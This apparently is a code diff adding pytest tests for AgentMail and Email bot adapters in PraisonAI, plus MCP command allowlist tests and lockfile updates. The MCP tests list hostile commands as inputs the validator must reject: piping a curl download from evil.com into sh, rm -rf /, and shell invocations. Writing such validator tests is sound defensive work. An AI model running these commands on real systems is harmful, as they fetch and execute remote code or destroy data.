schema = BotYamlSchema(channels={"agentmail": {"token": "am_test"}})
|
||||
assert "agentmail" in schema.channels
|
||||
|
||||
def test_yaml_schema_rejects_unknown_platform(self):
|
||||
"""BotYamlSchema should reject platforms not in valid set."""
|
||||
from praisonai.bots._config_schema import BotYamlSchema
|
||||
from pydantic import ValidationError
|
||||
|
||||
with pytest.raises(ValidationError, match="Unknown channel"):
|
||||
BotYamlSchema(channels={"fakeplatform": {"token": "x"}})
|
||||
|
||||
def test_yaml_schema_resolves_env_var(self):
|
||||
"""Token with ${ENV_VAR} syntax should be resolved."""
|
||||
from praisonai.bots._config_schema import BotYamlSchema
|
||||
|
||||
os.environ["_TEST_AM_KEY"] = "am_resolved_key"
|
||||
try:
|
||||
schema = BotYamlSchema(
|
||||
channels={"agentmail": {"token": "${_TEST_AM_KEY}"}}
|
||||
)
|
||||
assert schema.channels["agentmail"].token == "am_resolved_key"
|
||||
finally:
|
||||
del os.environ["_TEST_AM_KEY"]
|
||||
|
||||
def test_yaml_file_loads_agentmail_config(self):
|
||||
"""load_and_validate_bot_yaml should parse agentmail YAML."""
|
||||
from praisonai.bots._config_schema import load_and_validate_bot_yaml
|
||||
|
||||
yaml_content = textwrap.dedent("""\
|
||||
channels:
|
||||
agentmail:
|
||||
token: "am_test_token"
|
||||
""")
|
||||
with tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) as f:
|
||||
f.write(yaml_content)
|
||||
f.flush()
|
||||
try:
|
||||
config = load_and_validate_bot_yaml(f.name)
|
||||
assert "agentmail" in config.channels
|
||||
assert config.channels["agentmail"].token == "am_test_token"
|
||||
finally:
|
||||
os.unlink(f.name)
|
||||
|
||||
def test_yaml_multi_channel_agentmail_with_telegram(self):
|
||||
"""YAML with agentmail + telegram should validate both."""
|
||||
from praisonai.bots._config_schema import BotYamlSchema
|
||||
|
||||
schema = BotYamlSchema(channels={
|
||||
"agentmail": {"token": "am_test"},
|
||||
"telegram": {"token": "tg_test"},
|
||||
})
|
||||
assert "agentmail" in schema.channels
|
||||
assert "telegram" in schema.channels
|
||||
|
||||
def test_yaml_multi_channel_agentmail_with_email(self):
|
||||
"""YAML with both agentmail + email should validate."""
|
||||
from praisonai.bots._config_schema import BotYamlSchema
|
||||
|
||||
schema = BotYamlSchema(channels={
|
||||
"agentmail": {"token": "am_test"},
|
||||
"email": {"token": "email_test"},
|
||||
})
|
||||
assert "agentmail" in schema.channels
|
||||
assert "email" in schema.channels
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════
|
||||
# PYTHON CODE PARITY (8 tests)
|
||||
# ═══════════════════════════════════════════════════════════════════
|
||||
|
||||
class TestPythonCodeParity:
|
||||
"""Verify Bot() wrapper and AgentMailBot direct usage are equivalent."""
|
||||
|
||||
def test_bot_wrapper_resolves_to_agentmail(self):
|
||||
"""Bot('agentmail') should resolve adapter to AgentMailBot."""
|
||||
from praisonai.bots import Bot
|
||||
from praisonai.bots.agentmail import AgentMailBot
|
||||
|
||||
bot = Bot("agentmail", token="am_test")
|
||||
assert bot._platform == "agentmail"
|
||||
# Adapter is lazy-built; call _build_adapter() to resolve it
|
||||
adapter = bot._build_adapter()
|
||||
assert isinstance(adapter, AgentMailBot)
|
||||
|
||||
def test_bot_wrapper_reads_api_key_env(self):
|
||||
"""Bot('agentmail') should read AGENTMAIL_API_KEY env var."""
|
||||
from praisonai.bots.bot import _TOKEN_ENV_MAP
|
||||
|
||||
assert _TOKEN_ENV_MAP["agentmail"] == "AGENTMAIL_API_KEY"
|
||||
|
||||
def test_bot_wrapper_extra_env_has_inbox_id_and_domain(self):
|
||||
"""Extra env should include inbox_id and domain for agentmail."""
|
||||
from praisonai.bots.bot import _EXTRA_ENV_MAP
|
||||
|
||||
extra = _EXTRA_ENV_MAP["agentmail"]
|
||||
assert "inbox_id" in extra
|
||||
assert "domain" in extra
|
||||
|
||||
def test_direct_agentmail_bot_platform(self):
|
||||
"""AgentMailBot(token=...).platform should be 'agentmail'."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
|
||||
bot = AgentMailBot(token="am_test")
|
||||
assert bot.platform == "agentmail"
|
||||
|
||||
def test_direct_agentmail_bot_has_inbox_methods(self):
|
||||
"""AgentMailBot should have create_inbox, list_inboxes, delete_inbox."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
|
||||
bot = AgentMailBot(token="am_test")
|
||||
assert callable(getattr(bot, "create_inbox", None))
|
||||
assert callable(getattr(bot, "list_inboxes", None))
|
||||
assert callable(getattr(bot, "delete_inbox", None))
|
||||
|
||||
def test_direct_agentmail_on_command_and_on_message(self):
|
||||
"""AgentMailBot should support on_command / on_message decorators."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
|
||||
bot = AgentMailBot(token="am_test")
|
||||
|
||||
@bot.on_command("test")
|
||||
async def handle_test(msg):
|
||||
pass
|
||||
|
||||
@bot.on_message
|
||||
async def handle_msg(msg):
|
||||
pass
|
||||
|
||||
assert "test" in bot._command_handlers
|
||||
assert len(bot._message_handlers) == 1
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_direct_agentmail_probe_type(self):
|
||||
"""probe() should return ProbeResult with correct platform."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
from praisonaiagents.bots import ProbeResult
|
||||
|
||||
bot = AgentMailBot(token="am_test")
|
||||
|
||||
with patch.object(bot, "_get_client") as mock:
|
||||
mock_client = MagicMock()
|
||||
mock_client.inboxes.list.return_value = []
|
||||
mock.return_value = mock_client
|
||||
result = await bot.probe()
|
||||
|
||||
assert isinstance(result, ProbeResult)
|
||||
assert result.platform == "agentmail"
|
||||
|
||||
def test_email_protocol_structural_match(self):
|
||||
"""AgentMailBot should structurally match EmailProtocol."""
|
||||
from praisonai.bots import AgentMailBot
|
||||
from praisonaiagents.bots import EmailProtocol
|
||||
|
||||
# EmailProtocol is @runtime_checkable, so isinstance with structural
|
||||
# typing works — the bot has create_inbox, list_inboxes, delete_inbox
|
||||
bot = AgentMailBot(token="am_test")
|
||||
|
||||
# Verify the 3 required methods exist with correct signatures
|
||||
import inspect
|
||||
sig_create = inspect.signature(bot.create_inbox)
|
||||
sig_list = inspect.signature(bot.list_inboxes)
|
||||
sig_delete = inspect.signature(bot.delete_inbox)
|
||||
|
||||
# create_inbox takes optional domain + **kwargs
|
||||
assert "domain" in sig_create.parameters
|
||||
# list_inboxes takes no args
|
||||
assert len(sig_list.parameters) == 0
|
||||
# delete_inbox takes inbox_id
|
||||
assert "inbox_id" in sig_delete.parameters
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════
|
||||
# AIUI CHANNEL PARITY (6 tests)
|
||||
# ═══════════════════════════════════════════════════════════════════
|
||||
|
||||
class TestAIUIChannelParity:
|
||||
"""Verify AIUI channels.py supports email and agentmail correctly."""
|
||||
|
||||
def test_supported_platforms_includes_email(self):
|
||||
"""SUPPORTED_PLATFORMS must include 'email'."""
|
||||
sys.path.insert(0, os.path.join(
|
||||
os.path.dirname(__file__), "..", "..", "..", "..", "..", "..",
|
||||
"PraisonAIUI", "src"
|
||||
))
|
||||
try:
|
||||
from praisonaiui.features.channels import SUPPORTED_PLATFORMS
|
||||
assert "email" in SUPPORTED_PLATFORMS
|
||||
except ImportError:
|
||||
pytest.skip("praisonaiui not installed")
|
||||
|
||||
def test_supported_platforms_includes_agentmail(self):
|
||||
"""SUPPORTED_PLATFORMS must include 'agentmail'."""
|
||||
try:
|
||||
from praisonaiui.features.channels import SUPPORTED_PLATFORMS
|
||||
assert "agentmail" in SUPPORTED_PLATFORMS
|
||||
except ImportError:
|
||||
pytest.skip("praisonaiui not installed")
|
||||
|
||||
def test_create_bot_direct_has_agentmail_mapping(self):
|
||||
"""_create_bot_direct source must reference AgentMailBot."""
|
||||
import inspect
|
||||
try:
|
||||
from praisonaiui.features.channels import ChannelsFeature
|
||||
src = inspect.getsource(ChannelsFeature._create_bot_direct)
|
||||
assert "praisonai.bots.agentmail.AgentMailBot" in src
|
||||
except ImportError:
|
||||
pytest.skip("praisonaiui not installed")
|
||||
|
||||
def test_create_bot_direct_has_email_mapping(self):
|
||||
"""_create_bot_direct source must reference EmailBot."""
|
||||
import inspect
|
||||
try:
|
||||
from praisonaiui.features.channels import ChannelsFeature
|
||||
src = inspect.getsource(ChannelsFeature._create_bot_direct)
|
||||
assert "praisonai.bots.email.EmailBot" in src
|
||||
except ImportError:
|
||||
pytest.skip("praisonaiui not installed")
|
||||
|
||||
def test_token_resolution_agentmail_uses_api_key(self):
|
||||
"""_start_channel_bot must resolve agentmail via api_key / AGENTMAIL_API_KEY."""
|
||||
import inspect
|
||||
try:
|
||||
from praisonaiui.features.channels import ChannelsFeature
|
||||
src = inspect.getsource(ChannelsFeature._start_channel_bot)
|
||||
assert "AGENTMAIL_API_KEY" in src
|
||||
assert "api_key" in src
|
||||
except ImportError:
|
||||
pytest.skip("praisonaiui not installed")
|
||||
|
||||
def test_token_resolution_email_uses_app_password(self):
|
||||
"""_start_channel_bot must resolve email via app_password / EMAIL_APP_PASSWORD."""
|
||||
import inspect
|
||||
try:
|
||||
from praisonaiui.features.channels import ChannelsFeature
|
||||
src = inspect.getsource(ChannelsFeature._start_channel_bot)
|
||||
assert "EMAIL_APP_PASSWORD" in src
|
||||
assert "app_password" in src
|
||||
except ImportError:
|
||||
pytest.skip("praisonaiui not installed")
|
||||
@@ -0,0 +1,310 @@
|
||||
"""
|
||||
Unit tests for EmailBot implementation.
|
||||
|
||||
Tests cover:
|
||||
- Platform registry resolution
|
||||
- Lazy import
|
||||
- YAML config validation
|
||||
- EmailBot class structure and BotProtocol compliance
|
||||
- Auto-reply detection
|
||||
- Blocked sender detection
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from unittest.mock import MagicMock, patch, AsyncMock
|
||||
import email
|
||||
from email.mime.text import MIMEText
|
||||
|
||||
|
||||
class TestEmailPlatformRegistry:
|
||||
"""Test email platform registration in SDK."""
|
||||
|
||||
def test_email_in_builtin_platforms(self):
|
||||
"""Verify email is registered in _BUILTIN_PLATFORMS."""
|
||||
from praisonai.bots._registry import _BUILTIN_PLATFORMS
|
||||
|
||||
assert "email" in _BUILTIN_PLATFORMS
|
||||
assert _BUILTIN_PLATFORMS["email"] == ("praisonai.bots.email", "EmailBot")
|
||||
|
||||
def test_resolve_adapter_returns_email_bot(self):
|
||||
"""Verify resolve_adapter('email') returns EmailBot class."""
|
||||
from praisonai.bots._registry import resolve_adapter
|
||||
|
||||
EmailBot = resolve_adapter("email")
|
||||
assert EmailBot.__name__ == "EmailBot"
|
||||
|
||||
def test_list_platforms_includes_email(self):
|
||||
"""Verify list_platforms() includes email."""
|
||||
from praisonai.bots._registry import list_platforms
|
||||
|
||||
platforms = list_platforms()
|
||||
assert "email" in platforms
|
||||
|
||||
|
||||
class TestEmailLazyImport:
|
||||
"""Test lazy import of EmailBot."""
|
||||
|
||||
def test_lazy_import_from_bots_module(self):
|
||||
"""Verify EmailBot can be imported from praisonai.bots."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
assert EmailBot is not None
|
||||
assert EmailBot.__name__ == "EmailBot"
|
||||
|
||||
def test_email_bot_in_all(self):
|
||||
"""Verify EmailBot is in __all__."""
|
||||
from praisonai.bots import __all__
|
||||
|
||||
assert "EmailBot" in __all__
|
||||
|
||||
|
||||
class TestEmailTokenEnvMap:
|
||||
"""Test email token environment variable mapping."""
|
||||
|
||||
def test_email_in_token_env_map(self):
|
||||
"""Verify email is in _TOKEN_ENV_MAP."""
|
||||
from praisonai.bots.bot import _TOKEN_ENV_MAP
|
||||
|
||||
assert "email" in _TOKEN_ENV_MAP
|
||||
assert _TOKEN_ENV_MAP["email"] == "EMAIL_APP_PASSWORD"
|
||||
|
||||
def test_email_in_extra_env_map(self):
|
||||
"""Verify email extras are in _EXTRA_ENV_MAP."""
|
||||
from praisonai.bots.bot import _EXTRA_ENV_MAP
|
||||
|
||||
assert "email" in _EXTRA_ENV_MAP
|
||||
assert "email_address" in _EXTRA_ENV_MAP["email"]
|
||||
assert "imap_server" in _EXTRA_ENV_MAP["email"]
|
||||
assert "smtp_server" in _EXTRA_ENV_MAP["email"]
|
||||
|
||||
|
||||
class TestEmailYamlValidation:
|
||||
"""Test YAML config validation for email platform."""
|
||||
|
||||
def test_valid_platforms_includes_email(self):
|
||||
"""Verify email is in valid_platforms set."""
|
||||
from praisonai.bots._config_schema import validate_bot_config
|
||||
|
||||
# This should not raise
|
||||
config = validate_bot_config({
|
||||
"channels": {
|
||||
"email": {"token": "test_token"}
|
||||
}
|
||||
})
|
||||
assert "email" in config.channels
|
||||
|
||||
def test_yaml_schema_accepts_email_channel(self):
|
||||
"""Verify BotYamlSchema accepts email channel."""
|
||||
from praisonai.bots._config_schema import BotYamlSchema
|
||||
|
||||
schema = BotYamlSchema(
|
||||
channels={"email": {"token": "test"}}
|
||||
)
|
||||
assert "email" in schema.channels
|
||||
|
||||
|
||||
class TestEmailBotStructure:
|
||||
"""Test EmailBot class structure and properties."""
|
||||
|
||||
def test_email_bot_has_required_properties(self):
|
||||
"""Verify EmailBot has required BotProtocol properties."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
bot = EmailBot(
|
||||
token="test_token",
|
||||
email_address="[email protected]",
|
||||
)
|
||||
|
||||
assert hasattr(bot, "is_running")
|
||||
assert hasattr(bot, "platform")
|
||||
assert hasattr(bot, "bot_user")
|
||||
assert bot.platform == "email"
|
||||
assert bot.is_running is False
|
||||
|
||||
def test_email_bot_has_required_methods(self):
|
||||
"""Verify EmailBot has required BotProtocol methods."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
bot = EmailBot(
|
||||
token="test_token",
|
||||
email_address="[email protected]",
|
||||
)
|
||||
|
||||
# Lifecycle
|
||||
assert hasattr(bot, "start")
|
||||
assert hasattr(bot, "stop")
|
||||
|
||||
# Agent management
|
||||
assert hasattr(bot, "set_agent")
|
||||
assert hasattr(bot, "get_agent")
|
||||
|
||||
# Messaging
|
||||
assert hasattr(bot, "send_message")
|
||||
assert hasattr(bot, "edit_message")
|
||||
assert hasattr(bot, "delete_message")
|
||||
|
||||
# Events
|
||||
assert hasattr(bot, "on_message")
|
||||
assert hasattr(bot, "on_command")
|
||||
|
||||
# Health
|
||||
assert hasattr(bot, "probe")
|
||||
assert hasattr(bot, "health")
|
||||
|
||||
def test_email_bot_accepts_config(self):
|
||||
"""Verify EmailBot accepts BotConfig."""
|
||||
from praisonai.bots import EmailBot
|
||||
from praisonaiagents.bots import BotConfig
|
||||
|
||||
config = BotConfig(
|
||||
token="test_token",
|
||||
polling_interval=60.0,
|
||||
)
|
||||
|
||||
bot = EmailBot(
|
||||
token="test_token",
|
||||
email_address="[email protected]",
|
||||
config=config,
|
||||
)
|
||||
|
||||
assert bot.config.polling_interval == 60.0
|
||||
|
||||
|
||||
class TestEmailBotAutoReplyDetection:
|
||||
"""Test auto-reply email detection."""
|
||||
|
||||
def test_detects_auto_submitted_header(self):
|
||||
"""Verify bot detects Auto-Submitted header."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
bot = EmailBot(token="test", email_address="[email protected]")
|
||||
|
||||
msg = MIMEText("Test body")
|
||||
msg["Auto-Submitted"] = "auto-replied"
|
||||
|
||||
assert bot._is_auto_reply(msg) is True
|
||||
|
||||
def test_detects_x_auto_reply_header(self):
|
||||
"""Verify bot detects X-Auto-Reply header."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
bot = EmailBot(token="test", email_address="[email protected]")
|
||||
|
||||
msg = MIMEText("Test body")
|
||||
msg["X-AutoReply"] = "yes"
|
||||
|
||||
assert bot._is_auto_reply(msg) is True
|
||||
|
||||
def test_normal_email_not_auto_reply(self):
|
||||
"""Verify normal email is not detected as auto-reply."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
bot = EmailBot(token="test", email_address="[email protected]")
|
||||
|
||||
msg = MIMEText("Test body")
|
||||
msg["From"] = "[email protected]"
|
||||
msg["Subject"] = "Hello"
|
||||
|
||||
assert bot._is_auto_reply(msg) is False
|
||||
|
||||
|
||||
class TestEmailBotBlockedSenders:
|
||||
"""Test blocked sender detection."""
|
||||
|
||||
def test_blocks_mailer_daemon(self):
|
||||
"""Verify bot blocks MAILER-DAEMON."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
bot = EmailBot(token="test", email_address="[email protected]")
|
||||
|
||||
assert bot._is_blocked_sender("[email protected]") is True
|
||||
assert bot._is_blocked_sender("[email protected]") is True
|
||||
|
||||
def test_blocks_noreply(self):
|
||||
"""Verify bot blocks noreply addresses."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
bot = EmailBot(token="test", email_address="[email protected]")
|
||||
|
||||
assert bot._is_blocked_sender("[email protected]") is True
|
||||
assert bot._is_blocked_sender("[email protected]") is True
|
||||
assert bot._is_blocked_sender("[email protected]") is True
|
||||
|
||||
def test_allows_normal_sender(self):
|
||||
"""Verify bot allows normal senders."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
bot = EmailBot(token="test", email_address="[email protected]")
|
||||
|
||||
assert bot._is_blocked_sender("[email protected]") is False
|
||||
assert bot._is_blocked_sender("[email protected]") is False
|
||||
|
||||
|
||||
class TestEmailBotBodyExtraction:
|
||||
"""Test email body extraction."""
|
||||
|
||||
def test_extracts_plain_text_body(self):
|
||||
"""Verify bot extracts plain text body."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
bot = EmailBot(token="test", email_address="[email protected]")
|
||||
|
||||
msg = MIMEText("Hello, this is a test email.")
|
||||
body = bot._extract_body(msg)
|
||||
|
||||
assert "Hello, this is a test email." in body
|
||||
|
||||
def test_extracts_plain_from_multipart(self):
|
||||
"""Verify bot extracts plain text from multipart email."""
|
||||
from praisonai.bots import EmailBot
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
|
||||
bot = EmailBot(token="test", email_address="[email protected]")
|
||||
|
||||
msg = MIMEMultipart("alternative")
|
||||
msg.attach(MIMEText("Plain text version", "plain"))
|
||||
msg.attach(MIMEText("<p>HTML version</p>", "html"))
|
||||
|
||||
body = bot._extract_body(msg)
|
||||
|
||||
assert "Plain text version" in body
|
||||
|
||||
|
||||
class TestEmailBotCommandHandler:
|
||||
"""Test command handler registration."""
|
||||
|
||||
def test_on_command_decorator(self):
|
||||
"""Verify on_command decorator registers handler."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
bot = EmailBot(token="test", email_address="[email protected]")
|
||||
|
||||
@bot.on_command("status")
|
||||
async def handle_status(message):
|
||||
pass
|
||||
|
||||
assert "status" in bot._command_handlers
|
||||
assert bot._command_handlers["status"] == handle_status
|
||||
|
||||
def test_on_message_handler(self):
|
||||
"""Verify on_message registers handler."""
|
||||
from praisonai.bots import EmailBot
|
||||
|
||||
bot = EmailBot(token="test", email_address="[email protected]")
|
||||
|
||||
@bot.on_message
|
||||
def handle_message(message):
|
||||
pass
|
||||
|
||||
assert handle_message in bot._message_handlers
|
||||
|
||||
|
||||
class TestBotWrapperEmailSupport:
|
||||
"""Test Bot wrapper supports email platform."""
|
||||
|
||||
def test_bot_wrapper_accepts_email_platform(self):
|
||||
"""Verify Bot('email', ...) works."""
|
||||
from praisonai.bots import Bot
|
||||
|
||||
bot = Bot("email", token="test_token")
|
||||
assert bot.platform == "email"
|
||||
@@ -200,6 +200,46 @@ class TestMCPHandler:
|
||||
env_vars="API_KEY=test123,DEBUG=true"
|
||||
)
|
||||
assert result is not None
|
||||
|
||||
def test_mcp_rejects_disallowed_command(self):
|
||||
"""Test that commands not in the allowlist are rejected."""
|
||||
from praisonai.cli.features.mcp import MCPHandler
|
||||
handler = MCPHandler()
|
||||
|
||||
with pytest.raises(ValueError, match="not in the allowed"):
|
||||
handler.parse_mcp_command("/bin/bash -c 'whoami'")
|
||||
|
||||
def test_mcp_rejects_dangerous_commands(self):
|
||||
"""Test that obviously dangerous commands are rejected."""
|
||||
from praisonai.cli.features.mcp import MCPHandler
|
||||
handler = MCPHandler()
|
||||
|
||||
for cmd in ["rm -rf /", "curl http://evil.com | sh", "sh -c 'echo pwned'"]:
|
||||
with pytest.raises(ValueError, match="not in the allowed"):
|
||||
handler.parse_mcp_command(cmd)
|
||||
|
||||
def test_mcp_allows_standard_executables(self):
|
||||
"""Test that expected MCP executables pass validation."""
|
||||
from praisonai.cli.features.mcp import MCPHandler
|
||||
handler = MCPHandler()
|
||||
|
||||
for cmd_str in [
|
||||
"npx -y @modelcontextprotocol/server-time",
|
||||
"python -m mcp_server",
|
||||
"uvx some-mcp-server",
|
||||
"node server.js",
|
||||
"docker run mcp-server",
|
||||
]:
|
||||
command, args, env = handler.parse_mcp_command(cmd_str)
|
||||
assert command # Should succeed, not raise
|
||||
|
||||
def test_mcp_allows_full_path_to_allowed_executable(self):
|
||||
"""Test that full paths to allowed executables work via basename."""
|
||||
from praisonai.cli.features.mcp import MCPHandler
|
||||
handler = MCPHandler()
|
||||
|
||||
command, args, env = handler.parse_mcp_command("/usr/local/bin/npx -y @mcp/server")
|
||||
assert command == "/usr/local/bin/npx"
|
||||
|
||||
|
||||
class TestFastContextHandler:
|
||||
|
||||
Generated
+16
-4
@@ -4740,6 +4740,7 @@ all = [
|
||||
{ name = "greenlet" },
|
||||
{ name = "playwright" },
|
||||
{ name = "plotly" },
|
||||
{ name = "psutil" },
|
||||
{ name = "sqlalchemy" },
|
||||
{ name = "sse-starlette" },
|
||||
{ name = "tavily-python" },
|
||||
@@ -4770,6 +4771,7 @@ bot = [
|
||||
{ name = "brotlicffi" },
|
||||
{ name = "ddgs" },
|
||||
{ name = "discord-py" },
|
||||
{ name = "psutil" },
|
||||
{ name = "python-telegram-bot" },
|
||||
{ name = "slack-bolt" },
|
||||
{ name = "slack-sdk" },
|
||||
@@ -4809,7 +4811,9 @@ claw = [
|
||||
{ name = "fastapi" },
|
||||
{ name = "flask" },
|
||||
{ name = "greenlet" },
|
||||
{ name = "playwright" },
|
||||
{ name = "praisonaiagents", extra = ["all"] },
|
||||
{ name = "psutil" },
|
||||
{ name = "python-telegram-bot" },
|
||||
{ name = "slack-bolt" },
|
||||
{ name = "slack-sdk" },
|
||||
@@ -4852,6 +4856,7 @@ realtime = [
|
||||
{ name = "crawl4ai" },
|
||||
{ name = "ddgs" },
|
||||
{ name = "greenlet" },
|
||||
{ name = "playwright" },
|
||||
{ name = "plotly" },
|
||||
{ name = "sqlalchemy" },
|
||||
{ name = "tavily-python" },
|
||||
@@ -4926,14 +4931,19 @@ requires-dist = [
|
||||
{ name = "neonize", marker = "extra == 'bot-whatsapp-web'", specifier = ">=0.3.14" },
|
||||
{ name = "playwright", marker = "extra == 'all'", specifier = ">=1.47.0" },
|
||||
{ name = "playwright", marker = "extra == 'chat'", specifier = ">=1.47.0" },
|
||||
{ name = "playwright", marker = "extra == 'claw'", specifier = ">=1.47.0" },
|
||||
{ name = "playwright", marker = "extra == 'code'", specifier = ">=1.47.0" },
|
||||
{ name = "playwright", marker = "extra == 'realtime'", specifier = ">=1.47.0" },
|
||||
{ name = "plotly", marker = "extra == 'all'", specifier = ">=5.24.0" },
|
||||
{ name = "plotly", marker = "extra == 'realtime'", specifier = ">=5.24.0" },
|
||||
{ name = "praisonai-tools", marker = "extra == 'autogen'", specifier = ">=0.1.0" },
|
||||
{ name = "praisonai-tools", marker = "extra == 'autogen-v4'", specifier = ">=0.1.0" },
|
||||
{ name = "praisonai-tools", marker = "extra == 'crewai'", specifier = ">=0.1.0" },
|
||||
{ name = "praisonaiagents", specifier = ">=1.5.63" },
|
||||
{ name = "praisonaiagents", specifier = ">=1.5.80" },
|
||||
{ name = "praisonaiagents", extras = ["all"], marker = "extra == 'claw'", specifier = ">=1.5.40" },
|
||||
{ name = "psutil", marker = "extra == 'all'", specifier = ">=5.9.0" },
|
||||
{ name = "psutil", marker = "extra == 'bot'", specifier = ">=5.9.0" },
|
||||
{ name = "psutil", marker = "extra == 'claw'", specifier = ">=5.9.0" },
|
||||
{ name = "pyautogen", marker = "extra == 'autogen'", specifier = "==0.2.29" },
|
||||
{ name = "pyjwt", marker = "extra == 'os'", specifier = ">=2.8.0" },
|
||||
{ name = "pyngrok", marker = "extra == 'call'", specifier = ">=1.4.0" },
|
||||
@@ -4999,7 +5009,7 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "praisonaiagents"
|
||||
version = "1.5.63"
|
||||
version = "1.5.80"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "aiohttp" },
|
||||
@@ -5008,15 +5018,16 @@ dependencies = [
|
||||
{ name = "pydantic" },
|
||||
{ name = "rich" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/ac/4e/1f9cbcd17c1d9b21baeff6993ccfc7029eb556b444d1cb38117552d3099a/praisonaiagents-1.5.63.tar.gz", hash = "sha256:a3184448b8e9443f9e47be32672bc4e8f9cb367318866b43fcc7e5489cdb5b8a", size = 1189596, upload-time = "2026-03-15T15:30:52.544Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/6e/3b/6c88188227bac16f88e7b141568cebb03d6ef46f38935e3bb8408a400017/praisonaiagents-1.5.80.tar.gz", hash = "sha256:fa0b803943e5aab8ce4099c8257e8f5378648a19668ec046749aa3babad99d57", size = 1204298, upload-time = "2026-03-18T21:06:55.71Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/a1/18/9de6aa1a592b957fe02e533500fce5131ebd9b37e3d4679c155cecf17bbc/praisonaiagents-1.5.63-py3-none-any.whl", hash = "sha256:b47ef6ecbbe097e49a8724d0761585af3aa589a2a7b9de05fa35168c7d590030", size = 1234818, upload-time = "2026-03-15T15:30:50.227Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b3/76/ab37e313ad3e756c39df8f5b180613169ff8074a293aaba52fbdef88928e/praisonaiagents-1.5.80-py3-none-any.whl", hash = "sha256:e1590e6bbbda526e13d3654ab17cab6a2a602af4508fabe7a8cd389213658efe", size = 1248857, upload-time = "2026-03-18T21:06:53.898Z" },
|
||||
]
|
||||
|
||||
[package.optional-dependencies]
|
||||
all = [
|
||||
{ name = "chonkie" },
|
||||
{ name = "chromadb" },
|
||||
{ name = "crawl4ai" },
|
||||
{ name = "ddgs" },
|
||||
{ name = "fastapi" },
|
||||
{ name = "litellm" },
|
||||
@@ -5025,6 +5036,7 @@ all = [
|
||||
{ name = "mem0ai", extra = ["graph"] },
|
||||
{ name = "motor" },
|
||||
{ name = "passlib", extra = ["bcrypt"] },
|
||||
{ name = "playwright" },
|
||||
{ name = "posthog" },
|
||||
{ name = "pydantic" },
|
||||
{ name = "pyjwt" },
|
||||
|
||||
Reference in new issue
Block a user